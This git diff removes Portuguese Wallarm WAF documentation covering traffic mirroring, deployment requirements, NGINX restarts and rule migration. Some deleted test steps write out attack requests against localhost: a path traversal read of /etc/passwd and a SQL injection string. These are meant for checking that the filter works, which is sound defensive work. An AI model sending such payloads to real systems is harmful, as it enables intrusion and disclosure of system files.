`SLAB_ALLOC_ARENA`. O valor pode ser um número inteiro ou um float (um ponto `.` é um separador decimal). - - Recomendações detalhadas sobre como alocar memória para o Tarantool são descritas nestas [instruções][memory-instr]. -3. Para aplicar as mudanças, reinicie o Tarantool: - - ```bash - sudo systemctl restart wallarm-tarantool - ``` - -#### Endereço do servidor de pós-análise separado - -!!! info "NGINX-Wallarm e pós-análise no mesmo servidor" - Se os módulos NGINX-Wallarm e de pós-análise estiverem instalados no mesmo servidor, então pule esta etapa. - ---8<-- "../include/waf/configure-separate-postanalytics-address-nginx.md" - -#### Outras configurações - -Para atualizar outras configurações do NGINX e do nó Wallarm, use a documentação do NGINX e a lista de [diretivas do nó Wallarm disponíveis][waf-directives-instr]. diff --git a/include-pt-BR/waf/installation/oob/steps-for-mirroring-cloud.md b/include-pt-BR/waf/installation/oob/steps-for-mirroring-cloud.md deleted file mode 100644 index a1873599a5..0000000000 --- a/include-pt-BR/waf/installation/oob/steps-for-mirroring-cloud.md +++ /dev/null @@ -1,33 +0,0 @@ -Por padrão, o nó Wallarm implantado não analisa o tráfego de entrada. - -Para iniciar a análise de tráfego, altere o arquivo `/etc/nginx/sites-enabled/default` na instância Wallarm da seguinte maneira: - -1. Para o nó Wallarm aceitar o tráfego espelhado, configure o seguinte na NGINX `server` block: - - ``` - wallarm_force server_addr $http_x_server_addr; - wallarm_force server_port $http_x_server_port; - # Altere 222.222.222.22 para o endereço do servidor de espelhamento - set_real_ip_from 222.222.222.22; - real_ip_header X-Forwarded-For; - real_ip_recursive on; - wallarm_force response_status 0; - wallarm_force response_time 0; - wallarm_force response_size 0; - ``` - - * As diretivas `set_real_ip_from` e `real_ip_header` são necessárias para que o Console Wallarm [exiba os endereços IP dos atacantes][real-ip-docs]. - * As diretivas `wallarm_force_response _*` são necessárias para desativar a análise de todas as solicitações, exceto as cópias recebidas do tráfego espelhado. -1. Para o nó Wallarm analisar o tráfego espelhado, defina a diretiva `wallarm_mode` para `monitoring`: - - ``` - server { - listen 80; - listen [::]:80 ipv6only=on; - wallarm_mode monitoring; - - ... - } - ``` - - Como as solicitações maliciosas [não][oob-advantages-limitations] podem ser bloqueadas, o único [modo][wallarm-mode] que Wallarm aceita é o monitoramento. Para implantação em linha, também existem os modos de bloqueio seguro e bloqueio, mas mesmo que você defina a diretiva `wallarm_mode` para um valor diferente de monitoramento, o nó continua monitorando o tráfego e apenas registra tráfego malicioso (além do modo definido para desligado). \ No newline at end of file diff --git a/include-pt-BR/waf/installation/oob/steps-for-mirroring-linux-all-in-one.md b/include-pt-BR/waf/installation/oob/steps-for-mirroring-linux-all-in-one.md deleted file mode 100644 index 2350b97372..0000000000 --- a/include-pt-BR/waf/installation/oob/steps-for-mirroring-linux-all-in-one.md +++ /dev/null @@ -1,33 +0,0 @@ -Por padrão, o nó do Wallarm implantado não analisa o tráfego de entrada. - -Realize a seguinte configuração no arquivo de [configuração](https://docs.nginx.com/nginx/admin-guide/basic-functionality/managing-configuration-files/) do NGINX na máquina com o nó instalado para configurar o Wallarm para processar o espelho de tráfego: - -1. Para que o nó Wallarm aceite o tráfego espelhado, defina a seguinte configuração no bloco `server` do NGINX: - - ``` - wallarm_force server_addr $http_x_server_addr; - wallarm_force server_port $http_x_server_port; - # Altere 222.222.222.22 para o endereço do servidor de espelhamento - set_real_ip_from 222.222.222.22; - real_ip_header X-Forwarded-For; - real_ip_recursive on; - wallarm_force response_status 0; - wallarm_force response_time 0; - wallarm_force response_size 0; - ``` - - * As diretrizes `set_real_ip_from` e `real_ip_header` são necessárias para que o Console Wallarm [exiba os endereços IP dos invasores][proxy-balancer-instr]. - * As diretrizes `wallarm_force_response_*` são necessárias para desativar a análise de todas as solicitações, exceto para cópias recebidas do tráfego espelhado. -2. Para que o nó Wallarm analise o tráfego espelhado, defina a diretiva `wallarm_mode` como `monitoring`: - - ``` - server { - listen 80; - listen [::]:80 ipv6only=on; - wallarm_mode monitoring; - - ... - } - ``` - - Como as solicitações maliciosas [não podem][oob-advantages-limitations] ser bloqueadas, o único [modo][waf-mode-instr] que o Wallarm aceita é o monitoramento. Para a implantação em linha, também existem os modos de bloqueio seguro e bloqueio, mas mesmo que você defina a diretiva `wallarm_mode` para um valor diferente de monitoramento, o nó continua a monitorar o tráfego e registrar apenas o tráfego malicioso (além do modo definido como desligado). \ No newline at end of file diff --git a/include-pt-BR/waf/installation/oob/steps-for-mirroring-linux.md b/include-pt-BR/waf/installation/oob/steps-for-mirroring-linux.md deleted file mode 100644 index 8d2c7f7160..0000000000 --- a/include-pt-BR/waf/installation/oob/steps-for-mirroring-linux.md +++ /dev/null @@ -1,33 +0,0 @@ -Por padrão, o nó Wallarm implantado não analisa o tráfego de entrada. - -Realize a seguinte configuração no arquivo `/etc/nginx/conf.d/default.conf` na máquina com o nó instalado para configurar o Wallarm para processar o espelho de tráfego: - -1. Para o nó Wallarm aceitar o tráfego espelhado, defina a seguinte configuração no bloco NGINX `server`: - - ``` - wallarm_force server_addr $http_x_server_addr; - wallarm_force server_port $http_x_server_port; - # Altere 222.222.222.22 para o endereço do servidor de espelhamento - set_real_ip_from 222.222.222.22; - real_ip_header X-Forwarded-For; - real_ip_recursive on; - wallarm_force response_status 0; - wallarm_force response_time 0; - wallarm_force response_size 0; - ``` - - * As diretivas `set_real_ip_from` e `real_ip_header` são necessárias para que o Console Wallarm [exiba os endereços IP dos invasores][proxy-balancer-instr]. - * As diretivas `wallarm_force_response_*` são necessárias para desativar a análise de todas as solicitações, exceto as cópias recebidas do tráfego espelhado. -1. Para o nó Wallarm analisar o tráfego espelhado, defina a diretiva `wallarm_mode` como `monitoring`: - - ``` - server { - listen 80; - listen [::]:80 ipv6only=on; - wallarm_mode monitoring; - - ... - } - ``` - - Como as solicitações maliciosas [não podem][oob-advantages-limitations] ser bloqueadas, o único [modo][waf-mode-instr] que o Wallarm aceita é o de monitoramento. Para implementação em linha, também existem modos de bloqueio seguro e bloqueio, mas mesmo que você defina a diretiva `wallarm_mode` para um valor diferente do monitoramento, o nó continua a monitorar o tráfego e apenas registra o tráfego malicioso (além do modo definido para desligado). \ No newline at end of file diff --git a/include-pt-BR/waf/installation/quick-start-configuration-options-4.4.md b/include-pt-BR/waf/installation/quick-start-configuration-options-4.4.md deleted file mode 100644 index 31a3aa43e0..0000000000 --- a/include-pt-BR/waf/installation/quick-start-configuration-options-4.4.md +++ /dev/null @@ -1,4 +0,0 @@ -* [Configuração do modo de filtragem de tráfego][operation-mode-rule-docs] -* [Personalizando as regras de filtragem de tráfego][rules-docs] -* [Permissão, negação e listagem cinza de endereços IP][ip-lists-docs] -* Notificações de eventos do sistema configuradas por meio de [integrações nativas com ferramentas DevOps][integration-docs] e [gatilhos][trigger-docs] \ No newline at end of file diff --git a/include-pt-BR/waf/installation/quick-start-configuration-options.md b/include-pt-BR/waf/installation/quick-start-configuration-options.md deleted file mode 100644 index 87d6944fe5..0000000000 --- a/include-pt-BR/waf/installation/quick-start-configuration-options.md +++ /dev/null @@ -1,5 +0,0 @@ -* [Configuração do modo de filtragem de tráfego][operation-mode-rule-docs] -* [Personalizando as regras de filtragem de tráfego][rules-docs] -* [Permissão, negação e listagem cinza de endereços IP][ip-lists-docs] -* Notificações de eventos do sistema configuradas através de [integrações nativas com ferramentas DevOps][integration-docs] e [disparadores][trigger-docs] -* [Detecção dupla de ataques com **libdetection**][enable-libdetection-docs] \ No newline at end of file diff --git a/include-pt-BR/waf/installation/requirements-docker-nginx-4.0.md b/include-pt-BR/waf/installation/requirements-docker-nginx-4.0.md deleted file mode 100644 index f4ecddf0eb..0000000000 --- a/include-pt-BR/waf/installation/requirements-docker-nginx-4.0.md +++ /dev/null @@ -1,7 +0,0 @@ -* [Docker](https://docs.docker.com/engine/install/) instalado em seu sistema host -* Acesso a `https://hub.docker.com/r/wallarm/node` para baixar a imagem do Docker. Certifique-se de que o acesso não está bloqueado por um firewall -* Acesso à conta com a função de **Administrador** no Console Wallarm na [Nuvem dos EUA](https://us1.my.wallarm.com/) ou na [Nuvem da UE](https://my.wallarm.com/) -* Acesso a `https://us1.api.wallarm.com` se estiver trabalhando com a Nuvem Wallarm dos EUA ou a `https://api.wallarm.com` se estiver trabalhando com a Nuvem Wallarm da UE. Certifique-se de que o acesso não está bloqueado por um firewall -* Access to the IP addresses below for downloading updates to attack detection rules, as well as retrieving precise IPs for your allowlisted, denylisted, or graylisted countries, regions, or data centers - - --8<-- "../include/wallarm-cloud-ips.md" diff --git a/include-pt-BR/waf/installation/requirements-docker.md b/include-pt-BR/waf/installation/requirements-docker.md deleted file mode 100644 index 321eade5e6..0000000000 --- a/include-pt-BR/waf/installation/requirements-docker.md +++ /dev/null @@ -1,2 +0,0 @@ -* Acesso à conta com a função **Deploy** ou **Administrator** e autenticação de dois fatores desativada no console Wallarm na [Nuvem dos EUA](https://us1.my.wallarm.com/) ou [Nuvem da UE](https://my.wallarm.com/) -* Acesso a `https://us1.api.wallarm.com:444` se trabalhando com a Nuvem Wallarm dos EUA ou a `https://api.wallarm.com:444` se trabalhando com a Nuvem Wallarm da UE. Por favor, certifique-se de que o acesso não esteja bloqueado por um firewall. \ No newline at end of file diff --git a/include-pt-BR/waf/installation/requirements-nginx-ingress-controller-4.4.md b/include-pt-BR/waf/installation/requirements-nginx-ingress-controller-4.4.md deleted file mode 100644 index 6ab5334bfe..0000000000 --- a/include-pt-BR/waf/installation/requirements-nginx-ingress-controller-4.4.md +++ /dev/null @@ -1,10 +0,0 @@ -* Versão da plataforma Kubernetes 1.23-1.25 -* Gerenciador de pacotes [Helm](https://helm.sh/) -* Compatibilidade de seus serviços com a versão 1.6.4 (ou inferior) do [Controlador NGINX Ingress da Comunidade](https://github.com/kubernetes/ingress-nginx) -* Acesso à conta com função de **Administrador** e autenticação de dois fatores desabilitada no Painel de controle Wallarm para a [Nuvem EUA](https://us1.my.wallarm.com/) ou [Nuvem UE](https://my.wallarm.com/) -* Acesso a `https://us1.api.wallarm.com` para trabalhar com a Nuvem Wallarm EUA ou a `https://api.wallarm.com` para trabalhar com a Nuvem Wallarm UE -* Acesso a `https://charts.wallarm.com` para adicionar os gráficos do Helm Wallarm. Certifique-se de que o acesso não está bloqueado por um firewall -* Acesso aos repositórios Wallarm no Docker Hub `https://hub.docker.com/r/wallarm`. Certifique-se de que o acesso não está bloqueado por um firewall -* Access to the IP addresses below for downloading updates to attack detection rules, as well as retrieving precise IPs for your allowlisted, denylisted, or graylisted countries, regions, or data centers - - --8<-- "../include/wallarm-cloud-ips.md" diff --git a/include-pt-BR/waf/installation/requirements-nginx-ingress-controller-latest.md b/include-pt-BR/waf/installation/requirements-nginx-ingress-controller-latest.md deleted file mode 100644 index 28b3bf97be..0000000000 --- a/include-pt-BR/waf/installation/requirements-nginx-ingress-controller-latest.md +++ /dev/null @@ -1,10 +0,0 @@ -* Versão da plataforma Kubernetes 1.24-1.27 -* Gerenciador de pacotes [Helm](https://helm.sh/) -* Compatibilidade dos seus serviços com o [Controlador Ingress NGINX da comunidade](https://github.com/kubernetes/ingress-nginx) versão 1.9.5 -* Acesso à conta com a função de **Administrador** e autenticação de dois fatores desativada no Console Wallarm para a [Nuvem US](https://us1.my.wallarm.com/) ou [Nuvem EU](https://my.wallarm.com/) -* Acesso a `https://us1.api.wallarm.com` para trabalhar com a Nuvem Wallarm US ou a `https://api.wallarm.com` para trabalhar com a Nuvem Wallarm EU -* Acesso a `https://charts.wallarm.com` para adicionar os gráficos Helm da Wallarm. Certifique-se de que o acesso não está bloqueado por um firewall -* Acesso aos repositórios Wallarm no Docker Hub `https://hub.docker.com/r/wallarm`. Certifique-se de que o acesso não está bloqueado por um firewall -* Access to the IP addresses below for downloading updates to attack detection rules, as well as retrieving precise IPs for your allowlisted, denylisted, or graylisted countries, regions, or data centers - - --8<-- "../include/wallarm-cloud-ips.md" diff --git a/include-pt-BR/waf/installation/restart-nginx-systemctl.md b/include-pt-BR/waf/installation/restart-nginx-systemctl.md deleted file mode 100644 index caa93ae1e6..0000000000 --- a/include-pt-BR/waf/installation/restart-nginx-systemctl.md +++ /dev/null @@ -1,5 +0,0 @@ -Reinicie o NGINX usando o seguinte comando: - -```bash -sudo systemctl restart nginx -``` \ No newline at end of file diff --git a/include-pt-BR/waf/installation/sending-traffic-to-node-inline-oob.md b/include-pt-BR/waf/installation/sending-traffic-to-node-inline-oob.md deleted file mode 100644 index 17bbaecaa0..0000000000 --- a/include-pt-BR/waf/installation/sending-traffic-to-node-inline-oob.md +++ /dev/null @@ -1,8 +0,0 @@ -Dependendo da abordagem de implantação sendo usada, realize as seguintes configurações: - -=== "In-line" - Atualize os alvos do seu balanceador de carga para enviar tráfego para a instância Wallarm. Para detalhes, consulte a documentação do seu balanceador de carga. -=== "Out-of-Band" - Configure seu servidor web ou proxy (por exemplo, NGINX, Envoy) para espelhar o tráfego de entrada para o nó Wallarm. Para detalhes de configuração, recomendamos que se refira à documentação do seu servidor web ou proxy. - - Dentro do [link][exemplos-espelhando-servidor-web], você encontrará a configuração de exemplo dos servidores web e proxy mais populares (NGINX, Traefik, Envoy). \ No newline at end of file diff --git a/include-pt-BR/waf/installation/sending-traffic-to-node-inline.md b/include-pt-BR/waf/installation/sending-traffic-to-node-inline.md deleted file mode 100644 index 32664a71d8..0000000000 --- a/include-pt-BR/waf/installation/sending-traffic-to-node-inline.md +++ /dev/null @@ -1 +0,0 @@ -Atualize os alvos do seu balanceador de carga para enviar tráfego para a instância Wallarm. Para mais detalhes, por favor, consulte a documentação do seu balanceador de carga. \ No newline at end of file diff --git a/include-pt-BR/waf/installation/sending-traffic-to-node-oob.md b/include-pt-BR/waf/installation/sending-traffic-to-node-oob.md deleted file mode 100644 index 94e0fab4b9..0000000000 --- a/include-pt-BR/waf/installation/sending-traffic-to-node-oob.md +++ /dev/null @@ -1,3 +0,0 @@ -Configure o seu ambiente para espelhar o tráfego de entrada para uma instância com o nó Wallarm que você está implantando. Para detalhes de configuração, recomendamos referir-se à documentação da solução que você planeja usar para produzir o espelhamento de tráfego (servidor web, servidor proxy, etc.). - -Dentro do [link][web-server-mirroring-examples], você encontrará o exemplo de configuração para NGINX, Traefik, Envoy. \ No newline at end of file diff --git a/include-pt-BR/waf/installation/sidecar-proxy-reqs.md b/include-pt-BR/waf/installation/sidecar-proxy-reqs.md deleted file mode 100644 index ce7618d0cc..0000000000 --- a/include-pt-BR/waf/installation/sidecar-proxy-reqs.md +++ /dev/null @@ -1,10 +0,0 @@ -* Versão da plataforma Kubernetes 1.19-1.25 -* Gerenciador de pacotes [Helm v3](https://helm.sh/) -* Uma aplicação implantada como um Pod em um cluster Kubernetes -* Acesso a `https://us1.api.wallarm.com` para trabalhar com o Wallarm Cloud US ou a `https://api.wallarm.com` para trabalhar com o Wallarm Cloud EU -* Acesso a `https://charts.wallarm.com` para adicionar os gráficos Helm do Wallarm -* Acesso aos repositórios Wallarm no Docker Hub `https://hub.docker.com/r/wallarm` -* Access to the IP addresses below for downloading updates to attack detection rules, as well as retrieving precise IPs for your allowlisted, denylisted, or graylisted countries, regions, or data centers - - --8<-- "../include/wallarm-cloud-ips.md" -* Acesso à conta com a função de **Administrador** no Console Wallarm para o [Cloud US](https://us1.my.wallarm.com/) ou o [Cloud EU](https://my.wallarm.com/) \ No newline at end of file diff --git a/include-pt-BR/waf/installation/test-after-node-type-upgrade.md b/include-pt-BR/waf/installation/test-after-node-type-upgrade.md deleted file mode 100644 index cab0db386e..0000000000 --- a/include-pt-BR/waf/installation/test-after-node-type-upgrade.md +++ /dev/null @@ -1,15 +0,0 @@ -1. Envie a solicitação com o teste de ataque [Path Traversal][ptrav-attack-docs] para o endereço do aplicativo: - - ``` - curl http://localhost/etc/passwd - ``` -1. Certifique-se de que o nó do novo tipo processe a solicitação da mesma forma que o nó **regular** fazia, por exemplo: - - * Bloqueia a solicitação se o [modo de filtração][waf-mode-instr] apropriado estiver configurado. - * Retorna a [página de bloqueio personalizada][blocking-page-instr] se estiver configurada. -2. Abra o Console Wallarm → **Eventos** na [Nuvem EU](https://my.wallarm.com/attacks) ou [Nuvem US](https://us1.my.wallarm.com/attacks) e certifique-se de que: - - * O ataque é exibido na lista. - * Detalhes do hit exibem o UUID do nó Wallarm. - - ![Ataques na interface][attacks-in-ui-image] \ No newline at end of file diff --git a/include-pt-BR/waf/installation/test-waf-operation-no-stats-for-deprecated.md b/include-pt-BR/waf/installation/test-waf-operation-no-stats-for-deprecated.md deleted file mode 100644 index b407f003e5..0000000000 --- a/include-pt-BR/waf/installation/test-waf-operation-no-stats-for-deprecated.md +++ /dev/null @@ -1,7 +0,0 @@ -1. Envie a solicitação com testes de ataques [SQLI][sqli-attack-docs] e [XSS][xss-attack-docs] para o endereço do recurso protegido: - - ``` - curl http://localhost/?id='or+1=1--a-' - ``` -2. Abra o Console Wallarm → seção **Eventos** na [NUVEM DOS EUA](https://us1.my.wallarm.com/attacks) ou [NUVEM DA UE](https://my.wallarm.com/attacks) e certifique-se de que os ataques são mostrados na lista. - ![Ataques na interface][attacks-in-ui-image] \ No newline at end of file diff --git a/include-pt-BR/waf/installation/test-waf-operation-no-stats.md b/include-pt-BR/waf/installation/test-waf-operation-no-stats.md deleted file mode 100644 index f2541fca8e..0000000000 --- a/include-pt-BR/waf/installation/test-waf-operation-no-stats.md +++ /dev/null @@ -1,7 +0,0 @@ -1. Envie a solicitação com o ataque de teste [Path Traversal][ptrav-attack-docs] para um endereço de recurso protegido: - - ``` - curl http://localhost/etc/passwd - ``` -2. Abra o Console Wallarm → seção **Eventos** na [Nuvem dos EUA](https://us1.my.wallarm.com/attacks) ou [Nuvem da UE](https://my.wallarm.com/attacks) e certifique-se de que o ataque está exibido na lista. - ![Ataques na interface][attacks-in-ui-image] \ No newline at end of file diff --git a/include-pt-BR/waf/installation/upgrade-methods.md b/include-pt-BR/waf/installation/upgrade-methods.md deleted file mode 100644 index 260785dfa9..0000000000 --- a/include-pt-BR/waf/installation/upgrade-methods.md +++ /dev/null @@ -1,4 +0,0 @@ -Você pode realizar a atualização de duas maneiras distintas: - -* Migrar para o uso do [instalador tudo-em-um](#upgrade-with-all-in-one-installer) durante o procedimento de atualização. Esse é o método recomendado, pois automatiza diversas atividades de instalação e atualização do nó, como identificação da versão do NGINX e do sistema operacional, adição de repositórios Wallarm adequados, instalação de pacotes e outros. -* Continue usando o método atual de instalação [manual](#manual-upgrade) através de pacotes DEB/RPM individuais. No entanto, é importante salientar que em futuras atualizações esse método exigirá um esforço adicional e configuração manual em comparação ao novo método. \ No newline at end of file diff --git a/include-pt-BR/waf/restart-nginx-2.16.md b/include-pt-BR/waf/restart-nginx-2.16.md deleted file mode 100644 index c9d1785de2..0000000000 --- a/include-pt-BR/waf/restart-nginx-2.16.md +++ /dev/null @@ -1,12 +0,0 @@ -=== "Debian" - ```bash - sudo systemctl restart nginx - ``` -=== "Ubuntu" - ```bash - sudo service nginx restart - ``` -=== "CentOS ou Amazon Linux 2.0.2021x e inferior" - ```bash - sudo systemctl restart nginx - ``` \ No newline at end of file diff --git a/include-pt-BR/waf/restart-nginx-3.6.md b/include-pt-BR/waf/restart-nginx-3.6.md deleted file mode 100644 index 8755862dd1..0000000000 --- a/include-pt-BR/waf/restart-nginx-3.6.md +++ /dev/null @@ -1,16 +0,0 @@ -=== "Debian" - ```bash - sudo systemctl restart nginx - ``` -=== "Ubuntu" - ```bash - sudo service nginx restart - ``` -=== "CentOS ou Amazon Linux 2.0.2021x e inferiores" - ```bash - sudo systemctl restart nginx - ``` -=== "AlmaLinux, Rocky Linux ou Oracle Linux 8.x" - ```bash - sudo systemctl restart nginx - ``` \ No newline at end of file diff --git a/include-pt-BR/waf/restart-nginx-4.4-and-above.md b/include-pt-BR/waf/restart-nginx-4.4-and-above.md deleted file mode 100644 index 7d96de1b93..0000000000 --- a/include-pt-BR/waf/restart-nginx-4.4-and-above.md +++ /dev/null @@ -1,20 +0,0 @@ -=== "Debian" - ```bash - sudo systemctl restart nginx - ``` -=== "Ubuntu" - ```bash - sudo service nginx restart - ``` -=== "CentOS ou Amazon Linux 2.0.2021x e versões anteriores" - ```bash - sudo systemctl restart nginx - ``` -=== "AlmaLinux, Rocky Linux ou Oracle Linux 8.x" - ```bash - sudo systemctl restart nginx - ``` -=== "RHEL 8.x" - ```bash - sudo systemctl restart nginx - ``` \ No newline at end of file diff --git a/include-pt-BR/waf/restart-nginx-4.4.md b/include-pt-BR/waf/restart-nginx-4.4.md deleted file mode 100644 index 7d96de1b93..0000000000 --- a/include-pt-BR/waf/restart-nginx-4.4.md +++ /dev/null @@ -1,20 +0,0 @@ -=== "Debian" - ```bash - sudo systemctl restart nginx - ``` -=== "Ubuntu" - ```bash - sudo service nginx restart - ``` -=== "CentOS ou Amazon Linux 2.0.2021x e versões anteriores" - ```bash - sudo systemctl restart nginx - ``` -=== "AlmaLinux, Rocky Linux ou Oracle Linux 8.x" - ```bash - sudo systemctl restart nginx - ``` -=== "RHEL 8.x" - ```bash - sudo systemctl restart nginx - ``` \ No newline at end of file diff --git a/include-pt-BR/waf/root_perm_info.md b/include-pt-BR/waf/root_perm_info.md deleted file mode 100644 index 50d9f80cb1..0000000000 --- a/include-pt-BR/waf/root_perm_info.md +++ /dev/null @@ -1,8 +0,0 @@ -!!! info "Concedendo permissão de `root` ao usuário" - Se você está executando o NGINX como um usuário que não possui permissão de `root`, adicione este usuário ao grupo `wallarm` utilizando o seguinte comando: - - ``` - usermod -aG wallarm ; - ``` - - onde `` é o nome do usuário sem permissão de `root`. \ No newline at end of file diff --git a/include-pt-BR/waf/upgrade/api-port-443.md b/include-pt-BR/waf/upgrade/api-port-443.md deleted file mode 100644 index 788030ea89..0000000000 --- a/include-pt-BR/waf/upgrade/api-port-443.md +++ /dev/null @@ -1,5 +0,0 @@ -Começando com a versão 4.0, o nó de filtragem carrega dados para a nuvem usando os endpoints da API `us1.api.wallarm.com:443` (NUvem EUA) e `api.wallarm.com:443` (Nuvem EU) em vez de `us1.api.wallarm.com:444` e `api.wallarm.com:444`. - -Se você atualizar o nó da versão 3.x ou inferior e seu servidor com o nó implantado tiver acesso limitado aos recursos externos, e o acesso for concedido a cada recurso separadamente, então após a atualização a sincronização entre o nó de filtragem e a nuvem irá parar. - -Para restaurar a sincronização, em sua configuração, altere a porta `444` para `443` para o endpoint da API para cada recurso. \ No newline at end of file diff --git a/include-pt-BR/waf/upgrade/details-about-dist-upgrade.md b/include-pt-BR/waf/upgrade/details-about-dist-upgrade.md deleted file mode 100644 index d510c04f24..0000000000 --- a/include-pt-BR/waf/upgrade/details-about-dist-upgrade.md +++ /dev/null @@ -1,2 +0,0 @@ -!!! info "Atualizando as dependências do Wallarm" - O comando `sudo apt dist-upgrade` atualiza tanto os pacotes Wallarm quanto as dependências do nó de filtragem. É a opção recomendada para a atualização, uma vez que assegura o correto funcionamento da nova versão do nó de filtragem. \ No newline at end of file diff --git a/include-pt-BR/waf/upgrade/migrate-to-overlimit-rule-docker.md b/include-pt-BR/waf/upgrade/migrate-to-overlimit-rule-docker.md deleted file mode 100644 index a44e696668..0000000000 --- a/include-pt-BR/waf/upgrade/migrate-to-overlimit-rule-docker.md +++ /dev/null @@ -1,33 +0,0 @@ -A partir da versão 3.6, você pode ajustar a detecção de ataque `overlimit_res` usando a regra no Console Wallarm. - -Anteriormente, as seguintes opções eram usadas: - -* As diretivas NGINX [`wallarm_process_time_limit`][nginx-process-time-limit-docs] e [`wallarm_process_time_limit_block`][nginx-process-time-limit-block-docs] -* Os parâmetros Envoy [`process_time_limit`][envoy-process-time-limit-docs] e [`process_time_limit_block`][envoy-process-time-limit-block-docs] - -As diretivas e parâmetros listados são considerados obsoletos com o novo lançamento da regra e serão excluídos nas próximas versões. - -Se as configurações de detecção de ataque `overlimit_res` forem personalizadas por meio dos parâmetros listados, recomenda-se transferi-los para a regra da seguinte maneira: - -1. Abra o Console Wallarm → **Regras** e prossiga para a configuração da regra [**Ajustar a detecção de ataque overlimit_res**][overlimit-res-rule-docs]. -1. Configure a regra como feito nos arquivos de configuração montados: - - * A condição da regra deve corresponder ao bloco de configuração NGINX ou Envoy com as diretivas `wallarm_process_time_limit` e `wallarm_process_time_limit_block` ou os parâmetros `process_time_limit` e `process_time_limit_block` especificados. - * O limite de tempo para o nó processar uma única requisição (milissegundos): o valor de `wallarm_process_time_limit` ou `process_time_limit`. - * Processamento de requisição: a opção **Parar processamento** é recomendada. - - !!! warning "Risco de esgotamento da memória do sistema" - O alto limite de tempo e/ou a continuação do processamento após o limite ser ultrapassado pode acionar a exaustão da memória ou processamento fora do tempo da requisição. - - * Registar o ataque overlimit_res: a opção **Registar e exibir nos eventos** é recomendada. - - Se o valor de `wallarm_process_time_limit_block` ou `process_time_limit_block` for `off`, escolha a opção **Não criar evento de ataque**. - - * A regra não possui uma opção equivalente explícita para a diretiva `wallarm_process_time_limit_block` (`process_time_limit_block` no Envoy). Se a regra definir **Registrar e exibir nos eventos**, o nó bloqueará ou permitirá o ataque `overlimit_res` dependendo do [modo de filtragem do nó][waf-mode-instr]: - - * No modo **monitoramento**, o nó encaminha a solicitação original para o endereço do aplicativo. O aplicativo tem o risco de ser explorado pelos ataques incluídos nas partes da solicitação processadas e não processadas. - * No modo **bloqueio seguro**, o nó bloqueia a solicitação se ela for originada do endereço IP [listado em cinza][graylist-docs]. Caso contrário, o nó encaminha a solicitação original para o endereço do aplicativo. O aplicativo tem o risco de ser explorado pelos ataques incluídos nas partes da requisição processadas e não processadas. - * No modo **bloqueio**, o nó bloqueia a requisição. -1. Exclua as diretivas NGINX `wallarm_process_time_limit`, `wallarm_process_time_limit_block` e os parâmetros Envoy `process_time_limit`, `process_time_limit_block` do arquivo de configuração montado. - - Se a detecção de ataque `overlimit_res` for ajustada usando tanto os parâmetros quanto a regra, o nó processará as solicitações conforme a regra definir. \ No newline at end of file diff --git a/include-pt-BR/waf/upgrade/migrate-to-overlimit-rule-ingress-controller.md b/include-pt-BR/waf/upgrade/migrate-to-overlimit-rule-ingress-controller.md deleted file mode 100644 index 7546845f71..0000000000 --- a/include-pt-BR/waf/upgrade/migrate-to-overlimit-rule-ingress-controller.md +++ /dev/null @@ -1,28 +0,0 @@ -A partir da versão 3.6, você pode ajustar com precisão a detecção de ataque `overlimit_res` usando a regra no Wallarm Console. - -Anteriormente, as diretivas NGINX [`wallarm_process_time_limit`][nginx-process-time-limit-docs] e [`wallarm_process_time_limit_block`][nginx-process-time-limit-block-docs] foram usadas. As diretivas listadas são consideradas obsoletas com o lançamento da nova regra e serão excluídas em lançamentos futuros. - -Se as configurações de detecção de ataque `overlimit_res` são personalizadas através das diretivas listadas, recomenda-se transferi-las para a regra da seguinte maneira: - -1. Abra o Wallarm Console → **Regras** e prossiga para a configuração da regra [**Ajustar a detecção de ataque overlimit_res**][overlimit-res-rule-docs]. -1. Configure a regra como feito através das diretivas NGINX: - - * A condição da regra deve corresponder ao bloco de configuração NGINX com as diretivas `wallarm_process_time_limit` e `wallarm_process_time_limit_block` especificadas. - * O tempo limite para o nodo processar uma única solicitação (milissegundos): o valor de `wallarm_process_time_limit`. - * Processamento de solicitação: a opção **Parar o processamento** é recomendada. - - !!! aviso "Risco de esgotamento de memória do sistema" - O alto limite de tempo e/ou a continuação do processamento de solicitações após o limite ter sido excedido podem provocar exaustão de memória ou processamento de solicitação fora do tempo. - - * Registre o ataque overlimit_res: a opção **Registrar e exibir nos eventos** é recomendada. - - Se o valor de `wallarm_process_time_limit_block` ou `process_time_limit_block` for `off`, escolha a opção **Não criar evento de ataque**. - - * A regra não possui a opção equivalente explícita para a diretiva `wallarm_process_time_limit_block`. Se a regra define **Registrar e exibir nos eventos**, o nó irá bloquear ou passar o ataque `overlimit_res` dependendo do [modo de filtragem do nó][waf-mode-instr]: - - * No modo **monitoramento**, o nó encaminha a solicitação original para o endereço da aplicação. A aplicação tem o risco de ser explorada pelos ataques incluídos nas partes da solicitação processadas e não processadas. - * No modo **bloqueio seguro**, o nó bloqueia a solicitação se ela for originada do endereço IP [listado em cinza][graylist-docs]. Caso contrário, o nó encaminha a solicitação original para o endereço da aplicação. A aplicação tem o risco de ser explorada pelos ataques incluídos nas partes da solicitação processadas e não processadas. - * No modo **bloqueio**, o nó bloqueia a solicitação. -1. Exclua as diretivas NGINX `wallarm_process_time_limit` e `wallarm_process_time_limit_block` do arquivo de configuração `values.yaml`. - - Se a detecção de ataque `overlimit_res` for ajustada usando as diretivas e a regra, o nó irá processar as solicitações como a regra determina. \ No newline at end of file diff --git a/include-pt-BR/waf/upgrade/migrate-to-overlimit-rule-nginx.md b/include-pt-BR/waf/upgrade/migrate-to-overlimit-rule-nginx.md deleted file mode 100644 index 9d492104d0..0000000000 --- a/include-pt-BR/waf/upgrade/migrate-to-overlimit-rule-nginx.md +++ /dev/null @@ -1,28 +0,0 @@ -A partir da versão 3.6, você pode ajustar a detecção de ataque `overlimit_res` usando a regra no Console Wallarm. - -Anteriormente, as diretivas NGINX [`wallarm_process_time_limit`][nginx-process-time-limit-docs] e [`wallarm_process_time_limit_block`][nginx-process-time-limit-block-docs] eram usadas. As diretivas listadas são consideradas obsoletas com o novo lançamento da regra e serão excluídas em futuros lançamentos. - -Se as configurações de detecção de ataque `overlimit_res` forem personalizadas por meio das diretivas listadas, é recomendado transferi-las para a regra da seguinte forma: - -1. Abra o Console Wallarm → **Rules WAF** e prossiga para a configuração da regra [**Ajuste fino da detecção de ataque overlimit_res**][overlimit-res-rule-docs]. -1. Configure a regra da mesma maneira que as diretivas NGINX: - - * A condição da regra deve corresponder ao bloco de configuração NGINX com as diretivas `wallarm_process_time_limit` e `wallarm_process_time_limit_block` especificadas. - * O limite de tempo para o nó processar uma única solicitação (milissegundos): o valor de 